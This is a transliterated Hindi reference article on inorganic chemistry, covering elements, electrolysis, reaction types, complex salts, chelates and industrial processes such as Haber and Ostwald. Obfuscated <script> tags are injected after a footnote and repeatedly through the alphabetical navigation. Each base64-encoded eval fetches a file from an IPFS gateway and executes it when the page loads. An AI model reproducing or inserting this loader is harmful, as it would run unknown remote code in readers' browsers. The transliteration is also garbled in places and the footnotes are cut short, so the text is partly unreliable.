अकार्बनिक रसायन

akarbanik rasayan 'rasayan vijnan' ki tin shakhaoan mean se ek shakha hai. karban ko chho dakar shesh sabhi tattvoan aur anek yaugikoan ki 'mimaansa'^[1] karana 'akarbanik rasayan' ka kshetr hai. boron, silik aaun, jarmeniyam adi tattv bhi lagabhag usi prakar ke vividh yaugik banate haian, jaise karban. kiantu is parthik srishti mean unaka utana mahattv nahian haian, jitana karban yaugikoan ka. isaliye karbanik rasayan ka any tattvoan se prithakh rasayanik kshetr man liya gaya hai. manushy evan vanaspatiyoan ka jivan karban yaugikoan ke chakr par nirbhar hai. atah karbanik yaugikoan ko ek alag upaang mean rakhana kuchh anuchit nahian hai. yah karban hi hai, jo prithvi par pae jane vale samany tap (00 se 400) par anek sthayi samavayavi yaugik de sakata hai.

pramukh tattv

akarbanik rasayan mean jin tattvoan ka ullekh hai, unamean se kuchh dhatu haian aur kuchh adhatu. adhatu tatvoan mean kuchh mukhy nam nimnalikhit haian-

gais

haidrojan, hiliyam, naitrojan, aauksijan, phlorin, niaaun, klorin, argan, kriptan tatha zen aaun.

thos

boron, karban, silik aaun, ph aausphoras, gandhak, jarmeniyam, arsenik, molibdenam, teluriyam tatha ayodin.

drav

bromin

dhatuoan mean keval padar aisa hai, jo sadharan tap par drav hai. prachin jnat dhatuean sona, chaandi, loha, taanba, sisa, jasta aur para haian. lagabhag sabhi sabhy deshoan ka in dhatuoan se purana parichay hai. sona aur chaandi svatantr roop mean prakriti mean pae jate haian. shesh dhatuean prakriti mean salphaid, salphet ya aauksaid ke roop mean milati haian. inase shuddh dhatuean prapt karana saral tha. dhatuoan ke un yaugikoan ko, jinamean se dhatuean asani se alag ki ja sakati thian. inase dhatu shuddh roop mean mukt ho jati hai.

vidyut ka upayog

phairade aur devi ke samay se vidyut dhara ka upayog atyadhik badh gaya aur vaise-vaise dayanemo ki bijali adhik sasti prapt hone lagi. usaka upayog vidyut dvishleshan mean badhane laga. usaki sahayata se lavanoan mean se^[2] anek dhatuean prithakh ki ja sakian. taanbe ka ek yaugik 'tootiya'^[3] hai. jal mean bane isake vilayan mean se vidyut dhara dvara taanba prithakh kiya ja sakata hai. vidyut dhara ke prayog se maignishiyam, sodiyam, lithiyam, potaishiyam, kailsiyam, beriyam adi dhatuean, unake lavan ko galakar, prithakh ki geean.

yaugik banane ke prayas

akarbanik rasayan ke praranbhik yug mean dhatuoan ke jin yaugikoan ko banane ka vishesh prayas kiya jata tha, ve nimnalikhit the-

aauksaid, haidr aauksaid, phloraid, kloraid, bromaid, ayodaid, salphaid, salphet, thayosalphet, aisitet, aauksalet, naitraid, naitret, sayanaid, karbaid, karbonet, baikarbonet, ph aausphet, arsenik, tangstan, malibdet, yoorenet. in yaugikoan ka taiyar karana sadharanataya saral hai. aauksaid ya karbonet par upayukt amloan ki abhikriya se ye banae ja sakate haian. viley lavanoan ke vilayanoan mean rrin ayan^[4] milakar inamean se kuchh ke avakshep lae ja sakate haian, yadi ye avakshepy lavan pani mean aviley hoan.

akarbanik rasayan ka vibhajan

akarbanik rasayan ki anek abhikriyaean char vargoan mean vibhajit ki jati haian-

shithilikaran ya udasinikaran
avakshepan
apachayan ya avakaran
upachayan ya aauksikaran

aantim do ka ek sanyukt nam apachayopachay ya rid aauks (redox) abhikriya bhi diya gaya hai.

sankul, ya sankirn lavan

kabhi kabhi aisa dekha jata hai ki avakshepak ki adhik matra chho dane par avakshep ghul jata hai. yah viley vastut: sankul ayan banane ke karan hota hai. rajat naitret ke vilayan mean potaishiyam saianaid ka vilayan chho dane par rajat saianaid ka avakshep ata hai, par yah avakshep potaishiyam saianaid aur milane par ghul jata hai. tamr salphet ke vilayan mean amoniya chho dane par pahale to tamr haidr aauksaid ka avakshep avega, jo amoniya ke adhiky mean ghulakar chatak nila vilayan dega. isamean [ta (na ha3)4]++ [Cu (N H3)4]++ sankul ayan banata hai.

kilet, ya prakhar yaugik

bahut se dhatvik ayan karbanik abhikarmakoan ke sath vichitr yaugik banate haian, jinamean sanyojakataean nakhar, ya chil ke panjoan, ke saman anuoan ko thame rahati haian. inhean kilet (Chelate) ya nakhar yaugik kahate haian.

akarbanik padarthoan ke audyogik upayog

kuchh akarbanik yaugik itani adhik vyaparik matra mean taiyar kie jate haian ki inaka nam 'haivi kemikals' p d gaya hai. salaphyoorik aml, haidroklorik aml, naitrik aml, k aaustik soda, sodiyam karbonet, amoniyam lavan adi ki ginati is varg mean hai. pratyek varsh ek karo d tan gandhak salaphyoorik aml ke roop mean, 30 lakh tan naitrojan amoniya aur naitrik aml ke roop mean, aur 20 lakh tan klorin haidroklorik aml, blichiang paudar (viranjan choorn) aur klorin ke roop mean vyavasay mean kharch hota hai.

hava ke naitrojan ka upayog naitrojan yaugikoan ke banane mean hota hai. naitrojan ko aauksijan ke sath sanyukt karake naitrik aauksaid banate haian, par amoniya ke aksikaran dvara naitrik aauksaid banana achchhi vidhi hai. aaustavald (Ostwald) ne yah bataya ki plaitinam jali ke prishth par, 800° par amoniya ka aauksikaran hota hai. is naitrik aauksaid se naitrojan par aauksaid aur naitrik aml evan naitret taiyar kar lete haian. yah saphal vyavasayik vidhi hai.

havar (Haber) ne hava ke naitrojan se amoniya taiyar karane ki vyaparik vidhi 1913 ee mean pratham yooropiy mahayuddh ke samay nikali. 250 vayumandal dab par aur 500°C - 550°C tap par lauh dhatu se utprerit hokar, lagabhag 10% abhikriya naitrojan aur haidrojan ke sanyog ki hoti hai. ab to lagabhag sabhi deshoan mean amoniya aur amoniya lavan is vidhi se taiyar kie jate haian, jinaka vishesh upayog khad ke roop mean hota hai. naitrojan ka vyavasayik upayog visphotakoan mean bhi hota hai.

salaphyoorik aml ka vyavasay sansar ke pramukhatam vyavasayoan mean mana jata hai.
salaphyoorik adi amloan ke saman hi ksharoan ke nirman ki bhi upayogita hai.
akarbanik vyavasayoan mean viranjak choorn ka vyavasay bhi b de mahatv ka hai.

siliketoan ka upayog ab badhata ja raha hai. kaanch ka vyavasay to prasiddh hi hai. silikan aur karbanik yaugikoan se bane kuchh yaugikoan ka nam silikon hai. ye mom se milakar bahut achchha snehak (lubricant) aur p aaulish banate haian. ye soot ke dhagoan ko achchhi chamak dete haian. inase bane rezin vidyuth‌ avarodhak hote haian. silikon se rabar ke saman lachile padarth bhi banate haian. abhrak namak prakritik siliket apane vividh gunoan ke lie prasiddh hai.^[5]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ gambhir vivechan
↑ unake vilayanoan ke vidyudvishleshan se athava ooanche tap par galit lavanoan ke vidyut vidyutadvishleshan se
↑ k aaupar salphet
↑ ainayan
↑ rasayan vijnan (hindi) bharatakhoj. abhigaman tithi: 14 pharavari, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] r vivechan

[2] unake vilayanoan ke vidyudvishleshan se athava ooanche tap par galit lavanoan ke vidyut vidyutadvishleshan se

[3] upar salphet

[4] yan

[5] rasayan vijnan (hindi) bharatakhoj. abhigaman tithi: 14 pharavari, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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